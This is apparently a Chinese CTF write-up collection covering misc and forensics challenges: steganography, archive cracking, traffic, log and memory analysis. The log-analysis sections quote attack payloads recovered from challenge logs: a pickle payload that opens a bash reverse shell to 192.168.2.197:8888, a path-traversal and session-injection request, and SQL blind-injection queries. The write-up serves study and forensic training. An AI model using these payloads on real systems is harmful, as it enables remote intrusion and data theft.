NSSCTF Misc模块做题记录
[CISCN 2018]Picture
打开是一张图片,binwalk解压得到两个文件
其中一个是base64编码
解码发现神似压缩包,此时不要直接复制解码后的明文,打开010新建一个空文本,选择粘贴自base64。因为使用别的软件可能会出现一些问题
将文件头修复
用7z打开,但是解压文件需要密码,bing搜索报错信息ZeroDivisionError:
搜到多个报错
最终解压密码为
integer division or modulo by zero
打开code文件,是uucode编码,
解码
CISCN{2388AF2893EB85EB1B439ABFF617319F}
[CISCN 2023 初赛]被加密的生产流量
第一次接触工控流量
追踪TCP流,这个流量有点奇特
记录下来
MMYWMX3GNEYWOXZRGAYDA===
用base32解码
c1f_fi1g_1000
[GDOUCTF 2023]pixelart
打开压缩包,是一张图片,图片有点大。。。
用010打开图片,有隐藏的信息320x180
放大图片仔细看,可以看到flag被使用白点写在图片上
放大图片记录,原来这是假的flag
flag{fake_flag}
发现图片上还有其他的像素点,原图大小3840x2160
,根据之前给出的线索320x180
我们可以知道每一个像素点之间的距离为12
这里需要用到python脚本来实现把图片像素化
from PIL import Image
original_image = Image.open('res/arcaea.png')
new_width = original_image.width // 12
new_height = original_image.height // 12
new_image = Image.new("RGB",(new_width,new_height))
for x in range(new_width):
for y in range(new_height):
pixel = original_image.getpixel((x *12,y*12))
new_image.putpixel((x,y),pixel)
new_image.save("flag.png")
然后可以使用zsteg查看图片隐写
也可以使用stegsolve查看
flag{J3st_2_cats_battling}
[HDCTF 2023]hardMisc
打开压缩包,是个图片
直接拉到kali分离
没有东西,随机使用010打开
内容如下
SERDVEZ7d0UxYzB3M18xMF9IRGN0Zl9NMTVjfQ==
解码就是flag:HDCTF{wE1c0w3_10_HDctf_M15c}
[HUBUCTF 2022 新生赛]最简单的misc
打开文件是一个图片
直接用010打开图片,没有发现
把文件拉到kali进行分离,没有发现
zsteg测试,发现lsb隐写
直接使用命令提取
打开1.png发现是个二维码
使用CaptfEncoder解码
flag:
NSSCTF{aacc4238460996f0178c18d7637c9dd5}
[LitCTF 2023]404notfound (初级)
解压之后是一个图片
binwalk分离无果
用010打开图片,拉到最后,没有发现有用的信息
在kali里使用strings命令查看
发现flag值:LitCTF{Its_404_but_1ts_n0t_a_page}
[LitCTF 2023]Osint小麦果汁
使用binwalk分离,没有成果
010打开没有发现有用的信息
涉及到知识盲区了,果断看WP,原来是社工题,
根据墙上的wifi名称可以搜索到店名
黑客与精酿
[LitCTF 2023]Take me hand (初级)
打开流量包过滤http
点开其中一个请求包可以看到请求内容就是flag
LitCTF{Give_y0ur_hand_to_me!!!_plz}
[LitCTF 2023]破损的图片(初级)
打开压缩包,里面是一个没有后缀名的文件
用010打开,发现文件头缺失了
修复文件头
成功打开文件
flag
LitCTF{May you, the beauty of this world, always shine.}
[LitCTF 2023]这羽毛球怎么只有一半啊(恼 (初级)
图片只有一半
应该是要爆破图片宽高
010直接更改图片高度,保存打开图片可以看到完整图片了
LitCTF{Fl4g_0fcourse!}
[NISACTF 2022]bilala的二维码
binwalk分离,无果
010查看无果
只能补全二维码了
使用画图工具补全三个定位角
再使用QRResearch工具扫描二维码
访问解码出来的链接,下载网页中的图片。
foremost分离出来一个压缩包
拉到windows下,需要密码才能解开
用ARCHPR爆破
压缩包密码NiSA
用Audacity打开mp3文件,是音频隐写
.--. .- .-. - .---- ---... -- ----- .-. ... ...-- ....- -. -..
解码得到
PART1:M0RS34ND
这是flag的前半段,这里还要加上一个图片的分辨率
是通过foremost分离出来的另外一张图片
这另外半段可真是****
NSSCTF{M0RS34ND282X231}
[NISACTF 2022]bmpnumber
题目的附件图片名称为wb4,且为bmp文件
这是在提示使用wbStego4open
分离出一个破损的二维码图片
我们使用windows画图工具修复三个定位角后解码
访问解码后得到的链接,提示需要密码
看了前面的步骤都没有密码提示,网页提示weak,可能是弱口令,最后猜密码是password
是一个docx文件,打开文档,全选改字体颜色看有没有透明字,发现flag就在最后
flag{this_is_you_need_flag!}
[NISACTF 2022]bqt先
先拉到kali里查看文件类型
是一个pdf文件
binwalk分离无果
使用010打开文件,没有发现有用的信息
最后打开pdf文件查看,使用ctrl+A全选,发现文档中间有内容,复制查看
c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd
每间隔两个字符加个空格
c8 e9 ac a0 c3 f4 e6 e5 f2 a1 a0 d4 e8 e5 a0 e6 ec e1 e7 a0 e9 f3 ba a0 e6 ec e1 e7 fb f7 e5 e6 e5 ef e9 e4 ea e7 ef e5 e4 f3 e6 e9 ef f2 f0 e5 e6 e4 e6 e7 e7 e6 e4 f3 e5 fd
转换成10进制
200 233 172 160 195 244 230 229 242 161 160 212 232 229 160 230 236 225 231 160 233 243 186 160 230 236 225 231 251 247 229 230 229 239 233 228 234 231 239 229 228 243 230 233 239 242 240 229 230 228 230 231 231 230 228 243 229 253
因为flag一般最后一个字符是}
}字符的ASCII码序号是125
253-125=128,可以每个字符减128试试
72 105 44 32 67 116 102 101 114 33 32 84 104 101 32 102 108 97 103 32 105 115 58 32 102 108 97 103 123 119 101 102 101 111 105 100 106 103 111 101 100 115 102 105 111 114 112 101 102 100 102 103 103 102 100 115 101 125
ascll解码得到
Hi, Ctfer! The flag is: flag{wefeoidjgoedsfiorpefdfggfdse}
恶心~
一般flag都是用}结尾的 }的ascii十进制值为125
[NISACTF 2022]huaji?
使用binwalk进行分离
得到的压缩包需要密码解压
找不到密码,在原图片上看看,发现huaji?的属性里有一串奇怪的字符6374665f4e4953415f32303232
对其进行ascll解码得到ctf_NISA_2022
使用解码字符对压缩包解压缩,得到flag值flag{Nls@_FumYEnnOjy}
[NISACTF 2022]为什么我什么都看不见
使用010打开文件,破损的PNG文件头,补好
然后给文件加上后缀
在kali使用zsteg查看隐写
得到flag值NISA{Wlec0me_to_NiSa2022}
[NISACTF 2022]流量包里有个熊
拿到文件后发现没有后缀,先拉到kali分析
鉴定为pcap文件,随即增加后缀名
wireshark打开流量包分析,发现有少量HTTP请求
导出被访问的图片
是一头熊,也算是符合题意了,估计flag就在它身上
binwalk分析图片,发现还隐藏着一个RAR压缩包
使用binwalk CuteBear.jpg -e
分离压缩包
压缩包里还有一个小熊图片和两个flag
对其中一个flag文件进行BASE64解码,这是假的flag
打开另一个文本,没有发现什么,似乎是一段密文,先放着,等会在看
我们把压缩包里的图片再次分离,发现和上一层有点不一样
两个个flag.txt和上一层都是一样的,唯一变的是文件夹的名称,文件夹名称变为13,结合那段密文尝试解密,猜测有可能是ROT13加密,随即解密
成功解密,明文开头为FFD8,是JPEG文件没错了,010新建并写入保存为JPG文件
这是原图
在此图片上没有发现其他隐藏信息,所以应该是盲水印
这里使用吾爱破解论坛发布的WaterMark进行查看水印
这里附工具的下载方式:工具下载
图片非常模糊,
S0_clev2l_You
[SWPU 2019]Network
TTL隐写
IP报文在路由间穿梭的时候每经过一个路由,TTL就会减1,当TTL为0的时候,该报文就会被丢弃。
TTL所占的位数是8位,也就是0-255的范围,但是在大多数情况下通常只需要经过很小的跳数就能完成报文的转发,
远远比上限255小得多,所以我们可以用TTL值的前两位来进行传输隐藏数据。
如:须传送H字符,只需把H字符换成二进制,每两位为一组,每次填充到TTL字段的开头两位并把剩下的6位设置为1(xx111111),这样发4个IP报文即可传送1个字节。
根据上述规则,可以知道TTL隐写中用到四个值:00 111111
(63),01 111111
(127),10 111111
(191),11 111111
(255),解密的时候只取前两位,然后转换成ascii
简化一下,可以这么认为:
用
00 替换 63
01 替换 127
10 替换 191
11 替换 255
import binascii
data = ''
data_bin = ''
with open('res/attachment-2.txt', 'r') as f:
for line in f:
line = line
if int(line) == 63:
data_bin += '00'
if int(line) == 127:
data_bin += '01'
if int(line) == 191:
data_bin += '10'
if int(line) == 255:
data_bin += '11'
print(data_bin)
for i in range(0, len(data_bin), 8):
data += chr(int(data_bin[i:i + 8], 2))
print(data)
f2 = open("result.txt", "wb")
res = binascii.unhexlify(data)
f2.write(res)
打开脚本输出的文件
很明显这是一个zip压缩包
我们改后缀为zip打开,发现了flag.txt
base64解码
import base64
with open('res/flag.txt', 'r') as f:
for i in f:
print(i)
data = f.read().encode()
while True:
data = base64.b64decode(data)
if b'flag' in data:
break
print(data)
得到的flag:
flag{189ff9e5b743ae95f940a6ccc6dbd9ab}
[SWPU 2019]伟大的侦探
打开压缩包有一个文件夹和一个txt文本
文件夹杯加密了,我们打开密码.txt
是两串乱码
用010打开密码.txt
,切换字符集为EBCDIC
得到了:
wllm_is_the_best_team!
使用这个字符串解压剩下的内容
是一堆跳舞的小人
解码图
解密得到
iloveholmesandwllm
[SWPU 2019]漂流记的马里奥
题目给的是一个exe文件,双击运行会创建1.txt
使用010打开文件,发现末尾是个rar压缩包以及ntfs和flag.txt
在cmd中使用dir /r
命令可以发现 1.txt:flag.txt
最后使用notepad 1.txt:flag.txt
可以查看隐藏的内容
得到flag值swupctf{ddg_is_cute}
[SWPU 2019]神奇的二维码
使用foremost -i MISC-神奇的二维码-BitcoinPay.png
未分离出内容
使用binwalk -e *.png --run-as=root
分离出多个rar压缩包
解密
flag.doc
中的内容,得到comEON_YOuAreSOSoS0great
,据测试是18394.rar
的密码,解开压缩包得到good.mp3
解密
encode.txt
中的内容得到asdfghjkl1234567890
,据测试是看看flag在不在里面^_^.rar
的密码,解开压缩包得到flag.jpg
使用Audacity64.exe
打开good.mp3
发现是莫斯电码,记录得到
-- --- .-. ... . .. ... ...- . .-. -.-- ...- . .-. -.-- . .- ... -.--
解码后:morseisveryveryeasy
提交flag
[SWPU 2020]套娃
使用binwalk
分离文件
分离出一个压缩包内含两个文件
打开txt文件发现内部是rc4密文U2FsdGVkX19uI2lzmxYrQ9mc16y7la7qc7VTS8gLaUKa49gzXPclxRXVsRJxWz/p
,需要找到key
对swpu.xls解压,内部含有两个文件
解压rc4key.zip需要密码,esayrc4.xlsx无法再次解压,随即使用010打开查看,
拉到最后,发现密码为6e4c834d77cba03af41e1562a5bce84e
使用在在线解密工具得到明文为ef1a73d40977a49b99b871980f355757
[SWPU 2020]找找吧
题目的附件需要解压密码
使用binwalk分离无果
使用foremost分离无果
使用010打开附件,直接拉到最后,发现了key
压缩包内有一个mp3文件和一个压缩包,mp3文件使用Audacity打开,在音频的最后发现了像摩斯密码的内容
记录得到
-.. ....- ...-- ----. -.... ...-- . ----. ..--- -... ----- .---- ..--- .- .- -...
解码得到
d43963e92b012aab
用此字符串做压缩包密码,显示密码错误。
猜测可能是md5值,随机在线解密。得到明文
n1ce_try
在线解密网站:https://www.somd5.com/
解压缩得到两张图片
将gif图片使用movgear-gif打开,看到某一帧带有一串字符
识别到flag值
随即提交但是错误
似乎是凯撒密码,批量解密
得到flag值:sWpu_N1c3_Try
[SWPU 2020]耗子尾汁
上来先分离试试
打开其中一个压缩包,里面有flag.txt
这是一个错误的flag
在另一个压缩包含有一个视频文件
看来是个视频隐写
播放视频,暂停看到一串字符
c2lnbl9pbg==
使用工具解码
将视频再次分离
得到一个压缩包需要密码才能解压
于是把刚刚解码得到的字符串作为密码解压
打开解压后的文本文档
翻译注释:The last layer is the single table replacement password( 最后一层是单表替换密码 )
原密文为
R1pCVE9OUlhHVTNES05SWkdZWVRNUVJYSEEzVEtOUlVHNFpUT09KWEdFM0RLTlJZRzRaVE9RSlhHRTNEUU5aWkdaQkRNTlpXRzQzVEdOWlpHNDRUTVFaV0lJM1RNTlpXR1k0UT09PT0=
base64解压一次得到
GZBTONRXGU3DKNRZGYYTMQRXHA3TKNRUG4ZTOOJXGE3DKNRYG4ZTOQJXGE3DQNZZGZBDMNZWG43TGNZZG44TMQZWII3TMNZWGY4Q====
base32解码一次得到
6C76756569616B7875647379716568737A7168796B67677379796C6B767669
ASCII解码得到
lvueiakxudsyqehszqhykggsyylkvvi
仿射密码解码得到
flagyouhavesignedinsuccessfully
可以看到文本文件的文件名为19_20,仿射密码a和b的值也为19_20
需要注意的是经过仿射密码得到的字符串不能直接提交
NSSCTF{you_have_signed_in_successfully}
[SWPUCTF 2021 新生赛]gif好像有点大
使用foremost和binwalk分离文件无果
010打开文件也没有发现什么有用的信息
随即使用Stegsolve.jar打开gif,选择frame browser模式
一个一共800多帧,在562帧发现一个二维码
使用微信或者QR Research
扫码
得到flag值为NSS{The_G1F_ls_T00_b1g}
[SWPUCTF 2021 新生赛]zipbomb
题目说不要解压压缩包
我们用7z打开压缩包查看,没有发现
使用binwalk分析文件,发现还有一个压缩包
随即,binwalk分离文件需要手动暂停,不然会把所有文件对分离出来
也可使用foremost分离,无需手动暂停
打开第二个压缩包即是flah文件
NSSCTF{Z1p_B00m_d1sp0sal}
[SWPUCTF 2021 新生赛]原来你也玩原神
压缩包解压错误
拖到kaili进行分离
什么也没分离出来
kali显示文件类型
发现是mp3格式文件
将文件后缀改为mp3,用Audacity打开
没有发现音频隐写
随即使用MP3Stego解码
打开分析出来的txt文本
504b 0304 1400 0900 0800 6db2 3c53 1602
0d75 3600 0000 7902 0000 0800 0000 7465
7374 2e74 7874 edc4 410a 0010 1005 d0c3
2976 3663 ff9b a428 8cc2 4272 7797 b0f4
16cf 1229 a7ff ffb7 6f12 2c99 e0dc 052d
f382 09b5 c754 914a 633f ce05 504b 0102
3f00 1400 0000 0800 6db2 3c53 1602 0d75
3600 0000 7902 0000 0800 2400 0000 0000
0000 2000 0000 0000 0000 7465 7374 2e74
7874 0a00 2000 0000 0000 0100 1800 054d
41d7 73b4 d701 a780 52db 73b4 d701 cfdc
aa53 73b4 d701 504b 0506 0000 0000 0100
0100 5a00 0000 5c00 0000 0000
发现是个zip压缩包,zip的文件头是504b 0304
压缩包需要密码才能打开,猜测是个伪加密,改09为00
成功打开压缩包
flag:
NSSCTF{So_you_also_play_Genshin_impact}
[SWPUCTF 2021 新生赛]我flag呢?
打开文件
词频统计
from collections import Counter
import re
flag = ''
with open('res/附件.txt', 'r') as f:
for line in f:
text = line
text = re.findall("{(.*?)}", text)
for i in text:
flag += i
wordcount = Counter(flag.lower())
wordcount = wordcount
print(wordcount)
for i in wordcount:
print(i[0], end='')
需要注意的是,题目给的文本是两行,我们把两行合并成一行保存后再运行脚本
运行脚本
yourflagis81e57d2bc90364t
因为t只出现了一次
所以最后的flag为
NSSCTF{81e57d2bc90364}
[UTCTF 2020]Zero
是零宽隐写
将文本复制到网站解密即可
utflag{whyNOT@sc11_4927aajbqk14}
[羊城杯 2021]Baby_Forenisc
查看历史命令
由历史命令可知,flag和git有关
查看ie
查找ssh.txt文件
保存文件
base64解码保存的文件
发现了一个QQ邮箱
song552085107@qq.com
用github搜索用户
在这个人的仓库里找到__APP__
下载查看
用010打开文件,选择text模式
在2169行找到了一行base64编码,解码得到flag
SangFor{S0_3azy_2_crack_noob_player}
[蓝帽杯 2022 初赛]网站取证
据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。
问1
请从网站源码中找出木马文件,并提交木马连接的密码。
打开压缩包,是网站的根目录备份压缩包和sql备份文件。
我们直接解压压缩包,被火绒查杀出一个webshell
那么题目需要的木马文件应该就是它了
我们打开该文件
连接密码是
lanmaobei666
问2
请提交数据库连接的明文密码
通过Seqy源码审计系统全局搜索password
点开第一个database.0.php,发现数据库用户名明文显示在此文件内,同时看到密码是由my_encrypt()函数决定的
追踪到my_encrypt()函数所在的文件
我们搭建一个php环境运行一下这个文件,同时输出密码
需要注意的是php环境版本不能高于7.1。因为代码中使用的mcrypt_module_open()函数在7.2版本被弃用了
明文密码为
KBLT123
问3
请提交数据库金额加密混淆使用的盐值。
全局搜索key
第一项内容似乎就是问题提到的盐值
题主似乎在说加盐最狗🤣
盐值为
jyzg123456
问4
请计算张宝在北京时间2022-04-02 00:00:00-2022-04-18 23:59:59累计转账给王子豪多少RMB?(换算比例请从数据库中获取,答案参考格式:123.45)
放着别做了😂浪费时间
[蓝帽杯 2022 初赛]计算机取证
现对一个windows计算机进行取证,请您对以下问题进行分析解答。
问1
从内存镜像中获得taqi7的开机密码是多少?
密文:7f21caca5685f10d9e849cc84c340528
anxinqi
问2
制作该内存镜像的进程Pid号是多少?
MagnetRAMCaptu是制作镜像制作工具
volatility -f 1.dmp --profile=Win7SP1x64 pslist
所以进程号是2192
2192
问3
bitlokcer分区某office文件中存在的flag值为?(答案参考格式:NSSCTF{abcABC123})
Bitlocker是windows系统的加密分区
[陇剑杯 2021]ios
一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答
问1
黑客所控制的C&C服务器IP是
打开压缩包是三个文件
打开wireshark,在第 15 TCP流有重要明文信息
可以看到IP暴露
3.128.156.159
问2
黑客利用的Github开源项目的名字是
如图,github链接
stowaway
问3
通讯加密密钥的明文是
如图
hack4sec
问4
黑客通过SQL盲注拿到了一个敏感数据,内容是
这一问考察的是tls流量的解密,需要用到题目提供的keylog.txt
首先打开首选项
点开Protocols,找到TLS
选择keylog.txt然后确定即可
筛选HTTP2
查找select字符串
对其中一条进行URL解码
GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="2D"_then_id_else_col1_end)
选中开始盲注到盲注结束的包
选择导出为纯文本
选择查询的包和取消勾选packet details
导出后
import re
flag = ''
num_old = 1
with open('res/triffi.txt', 'r') as f:
for line in f:
if re.search('(application/json)', line):
continue
if re.search('o=%28case_when_%28select_hex%28substr%28password', line):
num = int(re.findall(f"%2C(.*?)%2C1%29%29", line)[0])
if num > num_old:
num_old = num
flag += chr(int(var, 16))
print(flag)
var = re.findall(f"user%29%3D%22(.*?)%22", line)[0]
得到敏感数据
746558f3-c841-456b-85d7-d6c0f2edabb2
问5
黑客端口扫描的扫描器的扫描范围是
选择分析-专家信息
取消勾选过滤器的限制
打开RST
如图,从10开始
扫到499号端口结束
此外,打开统计-会话
选择TCP,并对端口进行排序,可以看到端口的规律
这样也可以得到扫描的端口
10-499
问6
被害者手机上被拿走了的私钥文件内容是
问7
黑客访问/攻击了内网的几个服务器,IP地址为
上面黑客对192.168.1.12进行了sql盲注
另外,根据access.log文件
我们可以知道172.28.0.3也是受害者之一
172.28.0.3#192.168.1.12
问8
黑客写入了一个webshell,其密码为
我们观察log文件
发现黑客在执行whoami
所以密码为
fxxk
[陇剑杯 2021]SQL注入
问1
明显的布尔盲注
问2
拉到日志最后
看到字段为flag,数据库为sqli,表为flag
问3
观察发现匹配到正确的字符时,响应的页面字符大小为479|480|481|482
根据这个特征有此脚本
import re
flag = ''
with open('res/access.log', 'r') as f:
for line in f:
if re.search('(select%20flag%20from%20sqli.flag)', line):
if re.search('479|480|481|482', line):
line = re.findall("%20=%20'(.+)',1,", line)[0]
flag += line
print(flag)
最后得到flag值flag{deddcd67-bcfd-487e-b940-1217e668c7db}
[陇剑杯 2021]内存分析
问1
解开压缩包得到两个文件
先看txt文本
使用volatility对文件进行分析
首先查看镜像信息
题目是需要知道虚拟机的密码,可以使用mimikatz查看或者lsadump
flag值:flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}
问2
先找找关键字ctf或者flag什么的,发现有HUAWEI
根据题意,flag在某品牌手机的备份文件里面,随机筛选HUAWEI关键词
将文件都下载下来
下载华为备份解密工具,
工具地址:https://github.com/RealityNet/kobackupdec
使用命令解密 解密需要密码,密码根据提示是上一问的flag值
python .\kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX 'C:\Users\dell\Downloads\Compressed\kobackupdec-master\HUAWEI P40_2021-aa-bb xx.yy.zz' C:\Users\dell\Downloads\Compressed\kobackupdec-master\buk
打开解密后的文件夹,发现一个压缩包
使用7z打开
发现flag值flag{TH4NK Y0U FOR DECRYPTING MY DATA}
[陇剑杯 2021]日志分析
问1
根据日志文件发现响应码200极少,随机筛选含200的行。
发现了泄露的www.zip文件
问2
查看日志,在最后发现了/?filename=的语句,
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D
解码得到
../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}
所以文件名为sess_car
问3
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D
解码得到
../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}
可以看到使用的是SplFileObject类读取的flag
[陇剑杯 2021]简单日志分析
问1
简单分析可知参数为user
问2
127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu HTTP/1.1" 500 -
解密得到
I0
p0
0S'cat /Th4s_IS_VERY_Import_Fi1e'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.
所以黑客查看秘密文件的绝对路径为/Th4s_IS_VERY_Import_Fi1e
问3
127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= HTTP/1.1" 500 -
解码得到
I0
p0
0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.
所以黑客反弹shell的ip和端口为192.168.2.197:8888
[鹏城杯 2022]简单取证
./volatility -f file.raw imageinfo
看一下cmd历史命令
./volatility -f file.raw --profile=WinXPSP2x86 cmdscan
看到了一个密码,内容是62b041223bb9a
,应该在后面有用
再看一下浏览器访问记录
./volatility -f file.raw --profile=WinXPSP2x86 iehistory
发现了一个图片文件,保存下来
./volatility -f file.raw --profile=WinXPSP2x86 filescan | grep secret.jpg
./volatility -f file.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002325028 -D ./
查看文件,对文件base64解码,010查看发现文件倒过来了,根据文件头特征判断是zip文件
建议用base64解码和写入全程使用python
import base64
with open('res/file.None.0x81fc6610.dat', 'r') as f:
data = base64.b64decode(f.read())
with open('res/1.zip', 'wb') as f:
f.write(data[::-1])
打开1.zip
,需要密码才能解压,用前面发现的密码解开
压缩包里的flag.txt
,有大量数字组合,其中每组第二个数字到349
就会重新计数,最后一个组合是349 349
,猜测是坐标画图
from PIL import Image
im = Image.new("RGB", (350, 350), (0, 0, 0))
with open("res/flag.txt", "r") as f:
r = f.read()
lst = r.split("\n")
print(lst)
for i in lst:
x = int(i.split(" ")[0])
y = int(i.split(" ")[1])
im.putpixel((x, y), (255, 0, 255))
im.save("res/flag.png")
画出来是一个二维码,扫描二维码即可得到flag
flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}
[鹤城杯 2021]Misc2
先拉到010查看,没有发现
再拉到kali binwalk分离,没有隐藏文件
zsteg看看
发现了Unicode编码,拉出来解码
flag{h0w_4bouT_enc0de_4nd_pnG}
[鹤城杯 2021]New MISC
题目给的是一个pdf文件
010打开看不出来什么东西
应该是一个隐写
wbstego4open下载 :http://wbstego.wbailer.com/
用wbstego4open来查看隐写内容
打开软件选择Decode
选择PDF把需要查看的文件选上
这里空着
选择保存到哪里,这里选择保存到1.txt
完成
打开1.txt
flag值:flag{verY_g00d_YoU_f0und_th1s}
[鹤城杯 2021]流量分析
题目打开,是个pacpng包
明显的sql注入流量
筛选流量
选择导出为纯文本
取消勾选Packet details后导出
导出后的文件
脚本
import re
flag = ''
var_back = 0
with open('res/timu.txt', 'r') as f:
for line in f:
if re.search('(text/html)', line):
continue
if re.search(f"[%20and%20ascii(substr((select%20flag%20from%20t),]", line):
var = int(re.findall(f"[,1))]=(.*?)--+", line)[0])
if var <= var_back:
flag += str(var_back) + ' '
print(flag)
var_back = var
[HDCTF 2023]MasterMisc
把压缩包使用ARCHPR爆破,得到密码,解开后是一个图片
把图片扔到foremost分解,得到另一个图和一个wav文件
先看图片,根据图片上的提示文字,推断需要修改高度,010修改高度得到中间一段flag
再看音频文件,audacity查看频谱图发现前段flag
至此,只剩下原图没有找到flag,
- 回到原图,在图二和音频文件中找到后段flag
NSSCTF{e67d8104-7536-4433-bfff-96759901c405}